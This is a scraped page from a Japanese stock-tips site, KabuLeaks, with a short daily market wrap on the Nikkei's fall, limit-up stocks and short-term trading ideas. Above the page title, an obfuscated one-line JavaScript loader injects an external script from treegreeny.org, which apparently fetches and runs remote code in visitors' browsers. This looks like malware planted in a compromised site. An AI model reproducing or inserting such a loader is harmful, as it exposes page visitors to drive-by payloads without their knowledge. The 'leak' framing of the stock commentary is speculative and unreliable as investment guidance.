;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【3/8 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【3/8 大引け】

本日の日経平均株価は90円安と4日続落。前日の米株安を背景に売りが先行すると、一時145円安まで下落。その後は今週末にメジャーSQ、米雇用統計控え押し目買いも積極的には入らずほぼ様子見ムードとなった。

個別では17年12月期通期業績・増配見通しなどを改めて材料視か【4595】ミズホメディーがストップ高まで買われたほか、テキスタイルFPCの開発に関する進捗状況の発表を引き続き材料視の【2706】太洋工業が3日連続のストップ高に。また、株式分割好感の【6074】ジェイエスエスや上方修正・赤字幅縮小の【6397】郷鉄工所などが大幅高となった。

ほかにも、第2四半期決算を引き続き材料視された【3854】アイル、第3四半期決算、大幅増益の【5971】共和工業所などが前日に続き人気を集め。これといった材料が何ない中小型株に仕掛け的な買いが入っている銘柄がいくつかあった印象だ。

また、全体的に直近上昇が目立っていたゲーム株、直近IPOなどが引き続き利食い優勢の銘柄が多かった。

明日も今晩の米市場の動きにもよるが、週末イベント前とあって積極的に買い向かうにはやや厳しい相場環境。物色傾向もやや掴み難い状況に見えるだけ週末イベント通過までは様子見も可。もしくは材料株での短期値幅取りが無難なところだろう。

ただ、更に日経平均が下押し、急落するポイントあれば3月末の権利取り。好業績、高配当銘柄などは狙い目。